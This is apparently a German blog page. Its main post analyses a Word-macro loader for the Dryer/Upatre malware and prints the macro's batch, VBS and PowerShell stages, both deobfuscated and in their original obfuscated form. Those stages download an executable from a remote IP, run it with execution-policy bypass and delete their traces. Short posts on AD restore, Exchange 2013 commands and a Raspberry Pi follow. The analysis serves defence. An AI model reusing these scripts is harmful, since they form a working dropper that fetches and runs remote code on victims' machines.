Dryer / Upatre im Detail

Vor kurzem bin ich über eine Version vom Dryer beziehungsweise seinem Loader, genannt Upatre gestolpert und meine Analyse möchte ich euch nicht vorenthalten:

Aufbau

In einem ersten Schritt habe ich mich an eine detaillierte Analyse gemacht. Begonnen hat alles mit einem Mail mit Word und Makro im Anhang. Durch einen Dump konnte ich die folgenden Makros rausziehen und durch ein bisschen Reverse Engineering und Zusammensetzen auch die Verschleierungsversuche rückgängig machen:

– ThisDocument
– Module1
– Module2

Daraus entstehen dann die folgenden Scripts. Einerseits ein Batch-Script, Variante 1:

echo off
:pinkator
	ping 1.2.3.1 -n 2
	set ggtt="bs"

:lqwjdjqiw
:lwijdsji
	set trfd="%TMP%\"
	set nmsj="31166"
	set exds="8"

	cscript.exe %TMP%\31166.vbs
	ping 2.2.1.1 -n 2
																								
:windows
	%TMP%\8.exe
																								
:loop
	ping 1.3.1.2 -n 1
	set tar1="31166.bat"
	set stat="444.png"
	del %TMP%\3116.vbs
	del %TMPT\31166.bat
	del %TMP%\444.png
																								
	if exist %TMP%\31166.bat goto loop
	if exist %TMPT\31166.vbs goto loop
exit

Dann ein VB-Script in Variante 1:

/* Script %TMP%\31166.vbs */

strRT="http://64.184.235.251/44fsrgsgs.exe"
statRT="http://savepic.su/5590773.png"
jfeuygg="8.exe"
strTecation="%TMP%\8.exe"

frgea ="MSXML2.ServerXMLHTTL"
Set objXMLHTTP = CreateObject(frgea)
Set sFs = CreateObject(frgea)
objXMLHTTP.open "GET", "http://64.184.235.251/44fsrgsgs.exe", False
sFs.open "GET", "http://savepic.su/5590773.png", False
objXMLHTTP.send() 
sFs.send() 
If objXMLHTTP.Status = 200 Then
	Set objADOStream = CreateObject(ADODB.stream)	// ASP Object
		objADOStream.Open 
		objADOStream.Type = 1
		objADOStream.Write objXMLHTTP.ResponseBody 
		objADOStream.Position = 0 
		objADOStream.SaveToFile "%TMP%\8.exe" 
		objADOStream.Close 
	Set objADOStream = Nothing 
End if
Set objXMLHTTP = Nothing
guyqgdyw = "qhjwdkjhwqkdq"
Set objShell = CreateObject("WScript.Shell")

Eine Batch-Datei in Variante 2:

/* Script "%TMP%\31166.bat" */

@echo off
ping 1.1.2.2 -n 2
chcp 1251

:nwudqin
	set Rts1="."
	set Rts2="vb"
	set Rts3="s"

:sadasdw
	set Rts5="31166"
	set Rts4="%TMP%\31166"

:jasqudwqh
	cscript.exe "%TMP%\31166.vbs
	exit

Nochmals eine VBS-Datei in Variante 2:

/* Script "%TMP%\31166.vbs" */

Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))	// => %TMP%
Set objFSO=CreateObject("Scripting.FileSystemObject")
djwq = ".ps1"

currentFile="%TMP%\31166.ps1"

Set objShell = CreateObject("Wscript.shell")
objShell.Run "powerShell.exe -noexit -ExecutionPolicy bypass -noprofile -file " & '%TMP%\31166.ps1', 0, true

Und die Powershell-Variante:

/* Script "%TMP%\31166.ps1" */

$ujdkwq = 'jqwdb';
$stat = 'http://savepic.su/5588725.png';
$ggtt  = 'http://64.184.235.251/44fsrgsgs.exe';
$pths = '%TMP%\';

$wehs = '31166';
$nnm = '8';

$sundqbhybdq='teyfdqgwvdh';
$sasdwqoj='2dsadsad';

$down = New-Object System.Net.WebClient;

$bydyuwgd='uh2ehbj2g';

$file = %TMP%\8.exe';
$statfile = %TMP%\444.jpg';

$down.headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25';

$dasdw='jasidiowq';
$down.DownloadFile("http://64.184.235.251/44fsrgsgs.exe","%TMP%\8.exe");
$down.DownloadFile("http://savepic.su/5588725.png","%TMP%\444.jpg");

$asdw='qijwdqwid';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = '%TMP%\31166.vbs';
$statFilePath = 'C:\Users\MM\AppData\Local\Temp\444.jpg';	// WIESO FUNKTIONIERT DAS?
$btFilePath = '%TMP%\31166.bat';
$psFilePath = '%TMP%\31166.ps1';

Start-Sleep -s 15;
cmd.exe /c  '%TMP%\8.exe';

$file1 = gci '%TMP%\31166.vbs' -Force
$file2 = gci '%TMP%\31166.bat' -Force
$file3 = gci $'%TMP%\31166.ps1' -Force

$kasldds = '%TMP%\31166.vbs'

If (Test-Path '%TMP%\31166.vbs'){ Remove-Item $kasldds }
If (Test-Path '%TMP%\31166.bat'){ Remove-Item $btFilePath }
If (Test-Path 'C:\Users\MM\AppData\Local\Temp\444.jpg'){ Remove-Item $statFilePath }

$mskdfds = 'ansjkdnasj dkas jdkasndkja ';

If (Test-Path '%TMP%\8.exe'){ Remove-Item $file }
Remove-Item $MyINvocation.InvocationName

Ablauf

ThisDocument ist der Hauptteil und wird auch gleich beim Öffnen des Dokumentes aktiviert. Nach dem Aktivieren schreibt der Virus drei Dateien, einmal eine Batch-, dann eine VBS- und zum Schluss eine Powershell-Datei.
Abgefüllt werden die Scripts danach teils mit lokalem Code, der direkt aus dem Makro gelesen wird, zum Teil jedoch auch aus einem Snippet, welches auf gehackten Servern im Internet verteilt liegt. Die Server sind auch stehts redundant verteilt im Netz, somit wenn der Erste nicht erreichbar ist oder nicht zum Ziel führt, so gibt es noch einen Fallback. Dieses Snippet wird als Base64-Encoded heruntergeladen und vom Makro dechiffriert:

<text10>$sundqbhybdq='teyfdqgwvdh';
$sasdwqoj='2dsadsad';
$down = New-Object System.Net.WebClient;
$bydyuwgd='uh2ehbj2g';
$file = $pths+$nnm+'.exe';
$statfile = $pths+'444.jpg';
$down.headers[''+'User-Agent'] = ''+'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$dasdw='jasidiowq';
$down.DownloadFile($ggtt,$file);
$down.DownloadFile($stat,$statfile);
$asdw='qijwdqwid';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = $pths+$wehs+'.'+'v'+'bs'+'';
$statFilePath = 'c:\Users\MM\AppData\Local\Temp\444'+'.'+'j'+'pg';
$btFilePath = $pths+$wehs+'.'+'b'+'at';
$psFilePath = $pths+$wehs+'.'+'ps'+'1';
Start-Sleep -s 15;
cmd.exe /c  $file;     
$file1 = gci $vbsFilePath -Force
$file2 = gci $btFilePath -Force
$file3 = gci $psFilePath -Force
$kasldds = $vbsFilePath
If (Test-Path $kasldds){ Remove-Item $kasldds }
If (Test-Path $btFilePath){ Remove-Item $btFilePath }
If (Test-Path $statFilePath){ Remove-Item $statFilePath }
$mskdfds = 'ansjkdnasj dkas jdkasndkja ';
If (Test-Path $file){ Remove-Item $file }
Remove-Item $MyINvocation.InvocationName</text10>
<text20>ping 1.1.2.2 -n 2
chcp 1251
:nwudqin
set Rts1="."
set Rts2="vb"
set Rts3="s"</text20>
<text21>:jasqudwqh
cscript.exe %Rts4%%Rts1%%Rts2%%Rts3%
exit</text21>
<text30>Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject("S"&"cripting.FileSystemObject")
djwq = "."&"ps"&"1"</text30>
<text31>Set objShell = CreateObject("W"&"script.shell")
objShell.Run "p"&"owerS"+"hell.e"+"x"+"e -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true</text31>
<stext1>@echo off
:pinkator
ping 1.2.3.1 -n 2
set ggtt="bs"</stext1>
<stext2>cscript.exe %trfd%%nmsj%".v"%ggtt%
ping 2.2.1.1 -n 2
:windows
%trfd%%exds%".exe"
:loop
ping 1.3.1.2 -n 1
set tar1=%nmsj%".bat"
set stat="444.png"
del %trfd%%nmsj%".v"%ggtt%
del %trfd%%tar1%
del %trfd%%stat%
if exist %trfd%%tar1% goto loop
if exist %trfd%%nmsj%".vbs" goto loop
exit</stext2>

<stext3>frgea ="M"+"SX"+"ML2.ServerX"+"MLH"+"T"+"T"+Chr(80)+""
Set objXMLHTTP = CreateObject(frgea)
Set sFs = CreateObject(frgea)
objXMLHTTP.open "G"+"ET", strRT, False
sFs.open "GET", statRT, False
objXMLHTTP.send() 
sFs.send() 
If objXMLHTTP.Status = 200 Then
uwqhda = "ADODB."
jaisd = uwqhda
Set objADOStream = CreateObject(jaisd+Chr(Sgn(-4)+84)+""&"tr"&"eam"&"")
objADOStream.Open 
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody 
objADOStream.Position = 0 
objADOStream.SaveToFile strTecation 
objADOStream.Close 
Set objADOStream = Nothing 
End if 
Set objXMLHTTP = Nothing
guyqgdyw = "qhjwdkjhwqkdq"
Set objShell = CreateObject("WScript.Shell")</stext3>

Die entsprechende Methode zum Dechiffrieren hat der Ersteller von diesem Blog hier geklaut und minimal angepasst. Das Snippet selbst wird leider nur begrenzt erkannt von einem Virescanner, da hierbei in einer Datei verschiedene Sprachen gemischt werden und einzelne Befehle, welche wahrscheinlich bei einem Kontrollsystem aufschlagen würden, werden als Kombination des Snippets mit dem lokalen Makro generiert.

Zusätzlich wird durch das Makro von zwei anderen URLs auch noch der Dropper Upatre geladen und als “8.exe” umbenannt. Hierbei etwas kläglich, dass die Datei als eigentliche *.exe runtergeladen wird, denn mit einem einfachen Pattern-Filter auf der Firewall kann dies bereits unterbunden werden. Auch die Signatur der Datei als Executable zu erkennen und entsprechend zu blocken ist keine wirkliche Kunst.
Zum tatsächlichen Ausführen gibt es zwei Wege: Der Eine startet das Makro die Batch-, diese dann die VBS- und diese wiederum zum Schluss die Powershell-Datei, welche dann den Dropper nachstartet und auch gleich alle Spuren wieder löscht. Der andere Weg geht von der Batch-Datei gleich zur EXE und zur VBS-Datei gleichzeitig.

Leider war die MELANIE schneller als ich, und so konnte ich keine Version vom Dropper selbst bekommen zur Analyse und muss mich hier auf Spekulationen verlassen, was diese wohl macht. Ich vermute aber stark, dass hier nun erneut von gehackten Servern der tatsächliche Virus heruntergeladen und in der Registry eingenistet wird und sich dann auch selbst beseitigt und aufräumt.

Ausserdem gibt es noch Zugriffe auf einen Image-Hoster savepic.su. Dies wird vom Virenschreiber wahrscheinlich als Statistik eingesetzt, da das entsprechende Bild einen Zugriffs-Counter führt und somit die Anzahl Infektionen getracked werden können.

Erkenntnis

Es fällt auf, dass in allen Skripten 3 Typen an Variablen-Namen verwendet werden. Zum einen gibt es die total kryptischen Namen wie “sdfgsdfg”, dann die sprechenden Namen wie “SXE” und zum Schluss die korrekten Namen wie “strLEN”. Daraus muss ich schliessen, dass das Makro von 3 verschiedenen Personen überarbeitet wurde, was klar zeigt, dass verschiedene und auch aktualisierte und verbesserte Versionen im Umlauf sind, seit der Virus in der Form das erste Mal aufgetreten ist.

Fehler

Für mich sehr spannend jedoch zu sehen ist, dass der Virus selbst wohl einen Fehler in seiner Ausführung enthält, wodurch der Dropper unter Umständen gar nie zum Starten kommt…
Der Ablauf hat einen Entscheidungspunkt, der nach meiner letzten Analyse wohl eine Versionskontrolle darstellt, da das %USERPROFILE% auf den String “sers\” geprüft wird. Und in Systemen mit einem Profilpfad von C:\Users\NAME wird die Variante 1 ausgeführt, wo die Batch-Datei zuerst die VBS-Datei startet und danach ohne zu warten auch den Dropper als EXE. Heruntergeladen wird die EXE jedoch von der VBS-Datei, was problemlos in einer Race Condition und somit einem Abbruch enden kann, wenn der Download mehr als 1-2 Sekunden dauert…
Die VBS-Datei enthält auch spuren, als sollte eigentlich die EXE daraus nach dem Download gestartet werden, doch dies wird in dem mir vorliegenden Code aktuell nicht gemacht:

Set objShell = CreateObject("WScript.Shell")
...FERTIG!

Es wird zwar ein Shell-Objekt erstellt, womit nun eigentlich die EXE gestartet werden könnte, doch irgendwie – nichts!
Dies steht im Vergleich zu der Powershell-Variante, wo die EXE auch wirklich noch gestartet wird:

cmd.exe /c '%TMP%\X.exe';

Doch alleine auf den Fehler kann man sich ja auch nicht verlassen, es existieren wahrscheinlich schon zig aktualisierte Versionen. Und da der besagte Fehler ja in einem der Snippet-Files auf gehackten Servern liegt, ist eine Korrektur mit nur minimalem Aufwand möglich!

Gefahrenlage

Wie die Analyse jedoch zeigt, ist das Makro selbst nicht schlimm, es wird lediglich versucht den Dropper zu laden – dieser sollte aber sicherlich durch einen geeigneten Virenscanner unterbunden werden und auch die MELANIE ist laufend dran, die gehackten Server, welcher die Snippets und den Dropper verteilen, vom Netz zu nehmen… In meinen Augen viel heisse Luft um nichts!

Wiederherstellen von Benutzern aus dem AD

In der digitalen Welt ist das Löschen einfach geworden: Einmal nicht genau kontrolliert, einmal zuwenig nachgedacht und schon ist etwas gelöscht… Besonders in einem Active Directory kann das grosse Wellen schlagen, da ein Benutzer ziemlich bald danach nicht mehr arbeiten kann, da neben seinen Zugriffen auch sein Login verfällt!

Und da braucht es eine schnelle und einfache Variante zum Wiederherstellen. Im Rahmen einer Arbeit an der Fachhochschule, haben ein Kollege und ich ein Dokument verfasst, welches aufzeigt, wie in so einem Fall vorgegangen werden kann.

Zu finden ist die Arbeit hier.

Exchange 2013: Und plötzlich ging’s nicht mehr…

Exchange und vor allem das Administrieren von Exchange ist ja immer so ein Fall für sich, doch irgendwie kann ich einfach nicht nachvollziehen, wieso Microsoft mit jedem Update von Exchange immer wieder alles umstellen muss, an was man sich bisher ganz gut gewöhnt hat…

Genau so ist es beim Wechsel von 2008 auf 2013 auch wieder geschehen, denn plötzlich gibt es eine Webkonsole, genannt Exchange Admin Center statt der lokalen Konsole. Aus meiner Sicht eigentlich nicht die schlechteste Idee (Microsoft hatte schon dümmere Ideen). Doch wieso kann man nicht die selbe Funktionalität abbilden, wie in der lokalen Konsole – man weiss es nicht!

Somit entsteht bei mir eine kleine Liste, mit Powershell-Kommandos, welche früher mal über das die Konsole erledigt werden konnte.

So zum Beispiel das Setzen von Vollzugriff und Senden-Als auf eine Mailbox für eine DL:

Add-MailboxPermission -Identity ALIAS -User MAILBOX -AccessRights FullAccess
Add-ADPermission "DISPLAYNAME" -User MAILBOX -ExtendedRights "Send As"

Oder aber das Custom-Attribute setzen auf einer Verteilerliste:

Get-DistributionGroup VERTEILERLISTE | Set-DistributionGroup -CustomAttribute1 "WERT"

Bei mir eigentlich alltägliche Dinge und unter 2008 mal Standardfunktionen, mit 2013 plötzlich verschwunden…

Hack-In-A-Box mit PiTFT und Raspberry Pi

Mein Raspberry Pi lag lange Zeit rum und irgendwie wollte ich mal wieder etwas damit spielen und so habe ich mir ein 2.8 Zoll Touchscreen Display mit einer Auflösung von 320×240 geleistet, welches direkt auf den Pi aufgesteckt werden kann. Zusätzlich auch noch eine passende WLAN-Antenne und ein Gehäuse, soll ja auch nach etwas aussehen 😉

PiTFT

Da das Display bereits zusammengesetzt und funktionstüchtig geliefert wird, muss es nur noch angesteckt werden und los gehts. Dazu gibt es von Adafruit ein Image, welches auch gleich die nötigen Anpassungen mitbringt: Klick

Foto 13.11.14 21 54 41

Weiterlesen